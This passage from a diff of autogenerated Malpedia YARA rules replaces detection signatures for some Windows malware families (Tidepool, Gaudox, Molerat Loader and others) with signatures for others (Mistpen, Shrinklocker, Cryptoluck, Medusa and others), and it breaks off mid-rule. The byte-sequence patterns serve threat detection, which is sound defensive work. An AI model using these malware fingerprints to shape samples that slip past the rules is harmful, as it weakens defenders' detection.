8b45d8 034210 8945e0 8b4de0 } + $sequence_6 = { 0311 8b45e0 8910 eb1e 8b4de0 8b55d8 0311 } + $sequence_7 = { 8955f8 8b45f8 813850450000 7502 eb0b 8b4dc0 83e901 } + $sequence_8 = { ff75f4 8b35???????? ffd6 53 ff750c 8945f4 } + $sequence_9 = { 50 ff7594 e8???????? 2b7598 ff7598 } + $sequence_10 = { 8945f8 8b801c090000 8945fc ff75f8 68edacef0d 8b45fc ffd0 } + $sequence_11 = { 894810 894808 c3 56 } + $sequence_12 = { 3b1cfdb0a24000 7409 47 897dfc 83ff17 72ee 83ff17 } + $sequence_13 = { 66837d6c01 7308 893d???????? eb14 8b07 a3???????? 833d????????ff } + $sequence_14 = { 83ec1c 53 8b1d???????? 85db 0f84dd000000 8d45e4 } + $sequence_15 = { 0f848a000000 ff750c 8d45f8 ff7508 8d4df0 e8???????? } condition: - 7 of them and filesize < 1785856 + 7 of them and filesize < 191488 } -rule MALPEDIA_Win_Tidepool_Auto : FILE +rule MALPEDIA_Win_Unidentified_081_Auto : FILE { - meta: - description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "79b9a91d-2f80-54a4-850d-1eac43bf12cc" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tidepool_auto.yar#L1-L262" + meta: + description = "autogenerated rule brought to you by yara-signator" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "4bef4e35-3450-5f50-98ad-424279417112" + date = "2023-12-06" + modified = "2023-12-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_081_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "a70dd848875168b4bad1ed7e445677eb0934ca243a590965d7d194a18350ca55" + logic_hash = "0bf113d92abe743278ae5a94b3d8f7a48f5ba7f91d2e79f1d3ac361b6c786f4e" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20231130" + malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" + malpedia_version = "20230808" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5f 5e 5b 8b8d00030000 } - $sequence_1 = { 8b8d00030000 33cd e8???????? 81c504030000 } - $sequence_2 = { 6a00 50 8b08 ff91a4000000 } - $sequence_3 = { 8bc6 5e c20400 80790800 c701???????? 740e 8b4904 } - $sequence_4 = { 53 6a02 8bf1 e8???????? } - $sequence_5 = { 83c40c 803d????????37 7518 68???????? } - $sequence_6 = { 6800000040 8d4500 50 ff15???????? } - $sequence_7 = { 83e906 51 83c006 50 6a02 } - $sequence_8 = { 681f000200 56 68???????? 6801000080 } - $sequence_9 = { 5e 5f 5b c9 c3 ff25???????? 51 } - $sequence_10 = { e8???????? 68???????? 68???????? 68???????? 8d4500 } - $sequence_11 = { 75f9 b8???????? b900000400 c60000 40 49 } - $sequence_12 = { 8b08 ff91a4000000 8b4654 6a01 } - $sequence_13 = { 8d5658 52 50 ff91d0000000 } - $sequence_14 = { 6810270000 ff15???????? 8b45ec 8b08 } - $sequence_15 = { 7509 8b4654 50 8b08 ff5138 47 } - $sequence_16 = { 40 49 75f9 b8???????? b900000400 } - $sequence_17 = { 8d45ec 50 681f000200 53 68???????? } - $sequence_18 = { 56 8bf1 e8???????? 8b4654 6a00 } - $sequence_19 = { 6802020000 ff15???????? 68???????? ff15???????? 8bf8 } - $sequence_20 = { 2bca 33d2 85c9 894c2410 89542414 } - $sequence_21 = { 89442424 7e13 51 8d542428 } - $sequence_22 = { ff75ec ff15???????? 8b35???????? 6a04 } - $sequence_23 = { 53 50 ff75f8 ff75e4 ff75fc ff15???????? } - $sequence_24 = { 7504 802000 4b 57 } - $sequence_25 = { 59 ff15???????? 8b4df8 8945d8 8b45fc 8d840832010000 } - $sequence_26 = { 56 e8???????? 8b7d08 57 e8???????? d1e0 } - $sequence_27 = { 895dd4 895dac 895de0 885def 895de8 66ab } - $sequence_28 = { 3bf3 7e16 e8???????? 6a1a } + $sequence_0 = { 8985c8fdffff 83f808 0f84ab090000 83f807 0f8777090000 ff24854fa44000 33c0 } + $sequence_1 = { c74518f0944100 50 8d4dc4 e8???????? 68???????? 8d45c4 } + $sequence_2 = { 68???????? b9???????? e8???????? c645fc03 33c0 } + $sequence_3 = { eb02 33c0 8bbdc8fdffff 6bc009 0fb6bc38e8544100 8bc7 89bdc8fdffff } + $sequence_4 = { 8b7508 c7465c48554100 83660800 33ff } + $sequence_5 = { c645fc01 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 0f44c1 } + $sequence_6 = { 88440a34 8b049dd0d14100 c744023801000000 e9???????? ff15???????? 8bf8 } + $sequence_7 = { 83e61f c1f805 c1e606 8b0485d0d14100 80643004fd 8b45f8 } + $sequence_8 = { 6a01 6a00 f7d8 50 53 ff15???????? 8b8d34ffffff } + $sequence_9 = { ff15???????? 837c241001 7507 b101 e8???????? 8b35???????? } condition: - 7 of them and filesize < 1998848 + 7 of them and filesize < 273408 } -rule MALPEDIA_Win_Gaudox_Auto : FILE +rule MALPEDIA_Win_Mistpen_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e48a9725-6218-5ef6-9a1a-6786debab3b4" + id = "da7a11f3-113a-5db0-8b14-11346c846c77" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gaudox_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistpen" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mistpen_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "cc9ffbe1e9e9b635f7f04ba1adabaa59f1b5b2df83ed09fa49e4be99cd0578aa" + logic_hash = "70ffa3f473a1017022fe8085a2fe1094ee2434500473a4c1dd94bcb7c2db0a7a" score = 75 quality = 75 tags = "FILE" @@ -128592,32 +128509,32 @@ rule MALPEDIA_Win_Gaudox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5f 5e 8be5 5d c20400 8b7c240c 8d44244c } - $sequence_1 = { 50 e8???????? a1???????? 8bb858010000 83ff20 772c 68???????? } - $sequence_2 = { 745c 85d2 7458 56 8b7508 85f6 } - $sequence_3 = { 660f7f842460030000 660f7f842470030000 660f7f842480030000 f3ab b982000000 89842460060000 } - $sequence_4 = { 8b4708 2bca 83c0fb 03c1 894201 8d45c4 } - $sequence_5 = { 8bc1 b9???????? 50 e8???????? 8b4c2440 8bc1 803900 } - $sequence_6 = { 8d8548feffff 50 e8???????? a1???????? 8bb888010000 83ff1c 7731 } - $sequence_7 = { 0f88ce000000 8b15???????? b8???????? ff7750 8b7c2450 2bc2 8944245c } - $sequence_8 = { 6a01 e8???????? 8b55fc 8bc8 8b45f4 890c82 85c9 } - $sequence_9 = { 731a 8bd1 b9???????? e8???????? 85c0 0f88a7000000 8b74240c } + $sequence_0 = { 7602 ffc0 4585c0 8bf0 } + $sequence_1 = { 420fb6842090960200 4433d8 45335ffc 4533da 458bd3 45895e20 4533d0 } + $sequence_2 = { 4533848460850200 410fb6c3 4533848460750200 400fb6c7 4533848490920200 4533465c 418bc0 } + $sequence_3 = { 4403c1 418bcb 410bca 458bc8 23cf 41c1c91b } + $sequence_4 = { 4c8d0d74d70000 b919000000 4c8d0564d70000 488d1561d70000 e8???????? 4885c0 7420 } + $sequence_5 = { c1e31e 8bcf 410bcd 8bc7 4123cf 4123c5 0bc8 } + $sequence_6 = { 458b8c9460810200 4133bc8490920200 418bc0 41337e20 c1e808 0fb6c8 8bc3 } + $sequence_7 = { 83f838 7cec 8b4c2458 8bc1 c1e818 884594 8bc1 } + $sequence_8 = { 488d45e8 48894de8 488945f0 488d1590d10000 b805000000 894520 } + $sequence_9 = { 7e1d 488b5588 4c8d4c2450 458bc4 498bce } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 458752 } -rule MALPEDIA_Win_Molerat_Loader_Auto : FILE +rule MALPEDIA_Win_Shrinklocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d42e4503-ecb9-5c8a-a5c4-49076e4c4692" + id = "2766ab1f-0f76-5831-84d1-b9f95003f3f6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.molerat_loader_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shrinklocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shrinklocker_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "fb8054083b6be147b0212c1c64a0a9853635b01e04e79803ccd8499a9a7c2505" + logic_hash = "51a8eff3d0e892d08ca7cb6cb77d8a510f6bbf09ab967ba64d6200c00464e9c5" score = 75 quality = 75 tags = "FILE" @@ -128631,32 +128548,32 @@ rule MALPEDIA_Win_Molerat_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4db8 c645fc34 e8???????? 68???????? 8d4dbc c645fc35 e8???????? } - $sequence_1 = { 51 c645fc42 e8???????? 83c40c } - $sequence_2 = { 8b08 8b11 50 8b4204 ffd0 c644243409 8b44240c } - $sequence_3 = { 56 a1???????? 33c4 50 8d84241c020000 64a300000000 6804010000 } - $sequence_4 = { 8d4c2450 c744242000000000 e8???????? 8d4c241c c644243802 e8???????? 8d442410 } - $sequence_5 = { ffb56cffffff c745fc02000000 e8???????? 3bc7 7585 56 ffb56cffffff } - $sequence_6 = { ffd0 68???????? 8d8d08feffff e8???????? 8b8508feffff 83c0f0 } - $sequence_7 = { c644241c02 8b442410 83c0f0 83c40c 8d500c 83c9ff f00fc10a } - $sequence_8 = { 83c40c 68???????? 50 8d4de0 b330 51 885dfc } - $sequence_9 = { 8b7d08 57 8d45e0 33f6 50 8975e8 } + $sequence_0 = { a804 7409 488d1db94c0300 eb14 a802 488d1dc64c0300 488d05d74c0300 } + $sequence_1 = { 4803c8 488bc1 488b4d20 488b95d8000000 488d0c51 4c8bc0 488b4538 } + $sequence_2 = { 488b4c2460 898110170000 e9???????? 8b442468 ffc8 488b4c2460 4881c1bc000000 } + $sequence_3 = { 4c896310 4d8bc6 48897318 488bcf 4883fd0f 7648 488b33 } + $sequence_4 = { e8???????? 488b4c2430 48894c2420 4c8b4c2458 4c8b442460 488b4c2450 488b5110 } + $sequence_5 = { e8???????? 88442425 488b8c2480000000 488b09 48634904 488b942480000000 } + $sequence_6 = { eb58 b804000000 4869c000010000 488b4c2468 0fb70401 488b4c2460 8b8910170000 } + $sequence_7 = { 8b84815c270100 4803c1 ffe0 488b442430 83781000 7511 } + $sequence_8 = { 2500e00000 85c0 7424 488b842410010000 488d0de2300400 48894820 488b442430 } + $sequence_9 = { 488d54242f 488d4c2458 e8???????? 90 c644243011 488d542430 488d4c2458 } condition: - 7 of them and filesize < 688128 + 7 of them and filesize < 10490880 } -rule MALPEDIA_Win_Bachosens_Auto : FILE +rule MALPEDIA_Win_Cryptoluck_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "21e78cd2-1c72-5a79-a705-15dc4e8e3d2a" + id = "d021de73-27cb-5bec-a5d2-3e18a59babc5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bachosens_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoluck_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "34aedbb89c2e7af974768523a03e9308ee6c49afb8486001bfd1e9169e8bf87c" + logic_hash = "962cd1309df7966b05578e3a6dacac6ddd19906dbb39c069d91052b1b1100225" score = 75 quality = 75 tags = "FILE" @@ -128670,32 +128587,32 @@ rule MALPEDIA_Win_Bachosens_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4d8bd4 4d2bdc 4d8bc4 49f7da } - $sequence_1 = { 488bf9 488b5018 488b5a20 488bd1 488b4b50 e8???????? } - $sequence_2 = { 49f7da 6666660f1f840000000000 430fb61403 410fb608 } - $sequence_3 = { 740e 488bc7 ffc1 488d4001 803800 } - $sequence_4 = { 33d2 385500 740e 488bc5 ffc2 } - $sequence_5 = { 660f1f840000000000 420fb61407 410fb608 8d429f } - $sequence_6 = { 41380a 7417 498bc2 660f1f840000000000 ffc1 } - $sequence_7 = { 66390a 7417 488bc2 0f1f840000000000 ffc1 488d4002 } - $sequence_8 = { 430fb61403 410fb608 8d429f 3c19 } - $sequence_9 = { 803800 75f5 3bca 7550 4c63d1 85c9 7e42 } + $sequence_0 = { 837d1000 7409 c745d880720010 eb07 c745d878720010 837d1000 7409 } + $sequence_1 = { 83c40c 8945f4 6a00 6880000000 6a02 6a00 6a01 } + $sequence_2 = { 83ec20 8d45f8 50 8b4d08 51 ff15???????? 8b55fc } + $sequence_3 = { 51 837d1801 730f 8b4514 50 } + $sequence_4 = { 52 ff15???????? 898504f0ffff 680f040000 8b8504f0ffff 8d8c05e8fbffff } + $sequence_5 = { 8b4508 69c0100e0000 99 03c8 13f2 894de8 } + $sequence_6 = { f610 57 4c 2434 cd40 0234d2 2d734ce893 } + $sequence_7 = { 8b45c8 83c001 8945c8 8b4dc0 83e901 894dc0 ebe0 } + $sequence_8 = { 8b4de8 51 8b55fc 2b55f4 52 8b45f8 } + $sequence_9 = { ff15???????? 898540ffffff 83bd40ffffff00 7472 8b8d40ffffff 51 8b55e0 } condition: - 7 of them and filesize < 643072 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Rumish_Auto : FILE +rule MALPEDIA_Win_Ice_Event_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "db5cf6b1-45f1-5e05-a042-af28c9de660a" + id = "efa7e53a-c463-50f7-ba83-6d9ec3219251" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rumish_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_event" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_event_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "356c30a3a32f94fe03326f490efe36bc56d49a42cedcdbc6774c882ef857a8dc" + logic_hash = "ef09062340f20eb30ff347046cee2303e5aa0ba34beeb1b65aa69fb96594e3f6" score = 75 quality = 75 tags = "FILE" @@ -128709,32 +128626,32 @@ rule MALPEDIA_Win_Rumish_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8908 8b4a04 894804 8b5208 895008 ebd7 5d } - $sequence_1 = { c7854cffffff00000000 53 51 52 33c0 0fa2 } - $sequence_2 = { 8b55e4 83ea01 3955a4 7d54 8b45a4 } - $sequence_3 = { e8???????? 89851cfdffff db851cfdffff dc0d???????? dc35???????? dc05???????? } - $sequence_4 = { 0f87c5000000 8b9524fbffff ff2495c0214100 68???????? 8d8dc0fbffff e8???????? } - $sequence_5 = { db8590f6ffff d9e8 dec9 d99d8cf6ffff d9858cf6ffff 51 d91c24 } - $sequence_6 = { c745fcffffffff 8d4dc0 e8???????? 8b852cfdffff e9???????? e8???????? 898508fdffff } - $sequence_7 = { ff15???????? 8b95a0fdffff 89956cfdffff c785b0fdffff00000000 c78544fdffff00000000 eb0f 8b8544fdffff } - $sequence_8 = { d99d54ffffff d98554ffffff 51 d91c24 e8???????? 83c404 dc1d???????? } - $sequence_9 = { 894de4 8b45e4 c700???????? 8b4de4 c7410400000000 8b55e4 c7420800000000 } + $sequence_0 = { 48c74424780f000000 c644246000 488b4598 4883f810 } + $sequence_1 = { 3b0d???????? 7326 4863c9 488d15b4080100 488bc1 83e13f } + $sequence_2 = { 48c743180f000000 c60300 8bc6 488b4c2478 4833cc e8???????? 4c8d9c2480000000 } + $sequence_3 = { 4863f8 4803f7 4983c9ff 4c8bc7 488d542430 488d4dc8 } + $sequence_4 = { 4156 4883ec28 488b4210 498bf9 498bf0 } + $sequence_5 = { 660f28d1 660f28c1 4c8d0d8b9f0000 f20f101d???????? f20f100d???????? } + $sequence_6 = { 488bcb 4a8d1441 482bf5 4c8d3436 } + $sequence_7 = { 4833cc e8???????? 488b9c24a0110000 4881c470110000 5f } + $sequence_8 = { 8bce 894d30 8bc6 894538 ffc3 83fb3c 0f8c6cffffff } + $sequence_9 = { 488bce e8???????? eb55 4c896d68 48c745700f000000 } condition: - 7 of them and filesize < 770048 + 7 of them and filesize < 331776 } -rule MALPEDIA_Win_Hzrat_Auto : FILE +rule MALPEDIA_Win_Medusa_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "67019030-b140-578f-bd57-ed696d61f957" + id = "d20a8f8a-0c40-56df-b905-5b8d6ebe61b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hzrat_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.medusa_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "e02b803e3f8c380d72f2cad18c6b29e368b4a184be0cb897b06c0987d88951d3" + logic_hash = "bf22f346b79f830cfb557e80bea02849fba4fc00ac522de893ed484b5992cd17" score = 75 quality = 75 tags = "FILE" @@ -128748,32 +128665,32 @@ rule MALPEDIA_Win_Hzrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83fa10 7202 8b3e a1???????? 89040f c6440f0400 eb20 } - $sequence_1 = { 8b46e6 3b42e6 7462 0faee8 0fb67ee6 0fb642e6 2bf8 } - $sequence_2 = { 33c0 85c9 0f9fc0 8d0c45ffffffff 85c9 0f8559030000 8b461c } - $sequence_3 = { 8b450c 85c0 7416 8b5508 0fb64c02ff 80b91002420000 } - $sequence_4 = { 57 6a00 ff15???????? 57 85c0 0f859b000000 } - $sequence_5 = { 0f1106 ff15???????? 85c0 0f8484010000 0fb74704 50 ff15???????? } - $sequence_6 = { 8b45ec 8d4e14 83c40c 8b7d08 8b55f0 83c72c c645fc01 } - $sequence_7 = { 8b4dec 8d0411 8b4de8 33d2 } - $sequence_8 = { 8d4123 3bc1 0f86e6000000 50 0faee8 e8???????? 83c404 } - $sequence_9 = { 8b450c 50 e8???????? 8bc8 83c40c 894df8 } + $sequence_0 = { e1fb 1cc9 3ca5 2c8e a1???????? d528 } + $sequence_1 = { ff7100 52 ff7200 53 ff7300 54 } + $sequence_2 = { 6a00 4b ff6b00 4c ff6c004d ff6d00 4e } + $sequence_3 = { 0050ff 7000 51 ff7100 } + $sequence_4 = { 53 ff7300 54 ff740055 ff7500 56 } + $sequence_5 = { 8b4c6386 8608 5f e1fb 1cc9 3ca5 2c8e } + $sequence_6 = { 0c48 b5f9 43 324dd5 1ddf859f31 } + $sequence_7 = { 0000 aa 05854cffab 004893 } + $sequence_8 = { 05854cffab 004893 3eb35b 813bf80937dc 8b4c6386 } + $sequence_9 = { 1cc9 3ca5 2c8e a1???????? d528 32f4 } condition: - 7 of them and filesize < 409600 + 7 of them and filesize < 1720320 } -rule MALPEDIA_Win_Bluehaze_Auto : FILE +rule MALPEDIA_Win_Sunorcal_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1fd1249e-5be9-518c-b471-fb529bb8c9ae" + id = "6c432810-e8f0-5844-8d29-cb8f4d1dde8c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluehaze_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sunorcal_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "09fb1421d27d0a64efc13cfb683dac14a3c5bd0c2192d0b84f6a45513276dafa" + logic_hash = "5b9405aaca8472dd7d7babc873d4fa797ade7b01d47ace52674d0f1fda5d55c6" score = 75 quality = 75 tags = "FILE" @@ -128787,32 +128704,32 @@ rule MALPEDIA_Win_Bluehaze_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85ff 7405 8b4dec 890f 83c704 897dd8 3b5604 } - $sequence_1 = { 894704 8b4804 8901 837dcc10 c745fcffffffff 720c } - $sequence_2 = { 51 c745fc00000000 e8???????? 83c408 837de810 720c 8b55d4 } - $sequence_3 = { c706???????? 8bc6 5e 8be5 5d c3 8d45fc } - $sequence_4 = { 33d2 eb02 8b10 8b4518 85c0 740c } - $sequence_5 = { 03ce 51 8b4b6c 57 51 ff15???????? } - $sequence_6 = { c706???????? e8???????? 6a30 c745fc00000000 c7462000000000 e8???????? 83c404 } - $sequence_7 = { 53 8d9564feffff 52 8d8dd4feffff e8???????? 8b7010 838d20feffff01 } - $sequence_8 = { c747140f000000 895f10 881f 833e10 7315 8b56fc } - $sequence_9 = { e8???????? 83c404 c785ccfeffff0f000000 899dc8feffff 889db8feffff c645fc03 39b578feffff } + $sequence_0 = { 5b c21000 8b442404 8b00 813863736de0 752a 83781003 } + $sequence_1 = { 6a03 e8???????? cc 55 8bec 83ec0c } + $sequence_2 = { 6a03 e8???????? cc 55 8bec 83ec0c a1???????? } + $sequence_3 = { 68b7000000 ff15???????? 6a64 68???????? 6a67 } + $sequence_4 = { 68???????? ff15???????? 33c0 c3 c3 55 8bec } + $sequence_5 = { ff15???????? 68b7000000 ff15???????? 6a64 68???????? } + $sequence_6 = { ff15???????? 6a03 e8???????? cc 55 8bec 83ec0c } + $sequence_7 = { c21000 8b442404 8b00 813863736de0 752a 83781003 7524 } + $sequence_8 = { c21000 8b442404 8b00 813863736de0 } + $sequence_9 = { 7c02 eb0e e8???????? e8???????? 85c0 } condition: - 7 of them and filesize < 424960 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Unidentified_109_Auto : FILE +rule MALPEDIA_Win_Multigrain_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b6061e05-3237-58ca-ad8b-3aa8b32dd728" + id = "f032b4ba-8128-5978-8559-debc3caa42cc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_109_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.multigrain_pos_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "d68f70d66f63488c08e0a968d9091c8e5c1c07bcbe7d2942849c574944ebfcba" + logic_hash = "57d310c472fb68cb78caa9b432b3db45871bc6e9132f2a98edf83ac773bc72f9" score = 75 quality = 75 tags = "FILE" @@ -128826,32 +128743,32 @@ rule MALPEDIA_Win_Unidentified_109_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bc8 d1e8 410bc1 83e101 41ffc8 894204 448bc9 } - $sequence_1 = { 488bd9 418bf9 498bf0 448bd2 b1e4 85d2 } - $sequence_2 = { 418bc8 0bcb 41c1c01e 418bd1 4123cb c1c205 0bc8 } - $sequence_3 = { 410fb7c0 6641ffc0 c644080433 664585c9 0f84e0000000 410fb7c0 6641ffc0 } - $sequence_4 = { ffc8 410f48c6 4585c0 7e38 4898 660f1f440000 493bc6 } - $sequence_5 = { 0fb6d2 83e27f 8d041a 3bc6 0f8742010000 85d2 7416 } - $sequence_6 = { 7453 85db 744b 48897c2430 0f1f4000 498d8ef8000000 488bd6 } - $sequence_7 = { 488945d0 488945d8 488945e0 488d4de8 498bd9 418bf6 4c8975f8 } - $sequence_8 = { 790a c705????????00000000 488d0dfaf80400 ff15???????? 85db 488b5c2420 7441 } - $sequence_9 = { 8bc1 448bc1 2bc6 03c2 413bc1 77de 03ca } + $sequence_0 = { 50 68???????? eb25 807dec00 7504 33c9 } + $sequence_1 = { 8b13 50 8d8d6cffffff e8???????? 83ec18 } + $sequence_2 = { 66894508 720b ff7520 e8???????? 83c404 8ac3 } + $sequence_3 = { c746140f000000 c7461000000000 68???????? 8bce c745fc00000000 } + $sequence_4 = { c7411000000000 50 c60100 e8???????? 8d8da4feffff } + $sequence_5 = { 83f908 720d 8b0e 50 8d145a e8???????? eb2c } + $sequence_6 = { e8???????? 68???????? 8bd0 8d4dd8 c645fc03 e8???????? } + $sequence_7 = { 1bc0 f7d8 5e 5d c20800 85f6 750f } + $sequence_8 = { 50 888534ffffff 8d8535ffffff 50 e8???????? 83c40c } + $sequence_9 = { 837d1c10 8bd8 8d4508 0f434508 56 } condition: - 7 of them and filesize < 723968 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Cloud_Duke_Auto : FILE +rule MALPEDIA_Win_Funny_Dream_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e419e016-f5fc-54fd-9e45-72cf3dfc672c" + id = "7c5b8541-25d5-552c-920a-b086563867d9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloud_duke_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.funny_dream_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "fda6f38613671be0889a1aab772fc69d0cd906ec00d4774d2302c1e1bbcac11b" + logic_hash = "d6d8f879d884c791eab9cf877f711b463f1b8fd3433301e06ffb4b2f059a3774" score = 75 quality = 75 tags = "FILE" @@ -128865,32 +128782,32 @@ rule MALPEDIA_Win_Cloud_Duke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b8a88e8ffff 33c8 e8???????? 83c008 8b4af8 33c8 } - $sequence_1 = { 89442420 742b 48 89442414 6aff 6a00 57 } - $sequence_2 = { e8???????? 51 8bc8 c645fc13 e8???????? 83c404 c645fc11 } - $sequence_3 = { 897da4 6a13 6a00 68???????? 8bce e8???????? 83f8ff } - $sequence_4 = { 83e4f0 6aff 68???????? 64a100000000 50 81ec2c020000 } - $sequence_5 = { 50 c784240c010000ffffffff e8???????? 8b842404010000 f7d0 39442428 0f8599060000 } - $sequence_6 = { 75f5 e9???????? 83f805 0f85b8020000 } - $sequence_7 = { 8bf0 e8???????? 83c414 39b42418010000 0f8572000000 6a44 } - $sequence_8 = { 668906 8945fc 8b4310 8b7e10 83c007 c745f001000000 3bf8 } - $sequence_9 = { 0f57c0 0f43842420010000 51 8d8c24a0010000 } + $sequence_0 = { ff15???????? 8bd8 c745f025735c2a 56 8d45f0 } + $sequence_1 = { 8d7f01 88443bff 84c0 75f3 8b4df8 } + $sequence_2 = { 50 8d4701 c785e0f5ffff0a000000 50 } + $sequence_3 = { 50 e8???????? 68ff010000 8d85fdfdffff 6a00 } + $sequence_4 = { f3a4 50 e8???????? 8b742414 83c408 85c0 748d } + $sequence_5 = { 83bdacfeffff00 744b 8d85a0feffff c785a0feffff00010000 50 ffb59cfeffff } + $sequence_6 = { 57 8bf9 6a00 8db750100000 56 ff15???????? 85c0 } + $sequence_7 = { 56 8b7508 57 8b3d???????? 6aff ff7608 ffd7 } + $sequence_8 = { 53 8a4810 8d4602 50 884e01 e8???????? 8b4508 } + $sequence_9 = { 0f118424e0000000 0f10842458010000 0f118424f0000000 e8???????? 898424c8000000 8b4508 } condition: - 7 of them and filesize < 368640 + 7 of them and 